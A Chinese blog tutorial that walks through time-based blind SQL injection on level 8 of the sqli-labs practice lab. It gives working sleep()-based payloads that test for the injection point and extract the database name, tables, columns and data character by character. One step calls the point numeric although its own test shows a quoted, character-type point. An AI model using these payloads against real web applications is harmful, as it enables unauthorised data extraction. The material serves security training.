注入思路
1,判断是否存在注入点,注入点是字符型还是数值型
2,构建sleep延时注入语句,猜测当前数据库的库名的长度是几个字符
3,猜测数据库下的表名的长度是由多少个字符组成的
4,猜测字段名(列名)
5,猜测数据
使用延时注入的时机
用于,无法回现和无法显示错误页面的场景
使用if(length(注入语句)=N,sleep(5),1),改变N的值,如果条件成立,通过服务器的休眠时间,来判断是否存在延时注入点,如果休眠五秒,则存在延时注入,如果不休眠在则反之,不存在延时注入点!
实战说明
以sqli-labs-master第8关为例说明
第一步:判断注入点
语句:
?id=1' and sleep(5)-- - //正常休眠
?id=1" and sleep(5)-- - //无休眠
?id=1') and sleep(5)-- - //无休眠
?id=1") and sleep(5)-- - //无休眠
总结:由此可以判断注入点为数值型注入点 包裹符号为'号
第二步:判断当前数据库库名的长度
语句:
?id=1' and if(length(database())=8,sleep(10),1)-- -
ps:通过改变数据库的长度的值来判断,是数据库名
如:length(database())=N
第三步:判断当前数据库下的库名
语句:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))-- -
ps:通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以一次类推了,就不一一演示
重点:substr(database(),N,1)可以通过改变N的值来判断数据的地几个字符为什么
第四步:猜表名
语句:
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)-- -
解释:security的第一张表的第一个字符ascii为101,为字符e
limit 0,1),N,1还是改变N的的得出第二个字符
第五步:猜字段名,猜数据
猜字段语句:
?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name="表名"limit 0,1),N,1)))=101,0,sleep(5))-- -
猜数据:
and if((select ascii(substr((select 字段名 from 库名.表名 limit 0,1),N,1)))=101,0,sleep(5))
版权声明:本文为Night_time原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。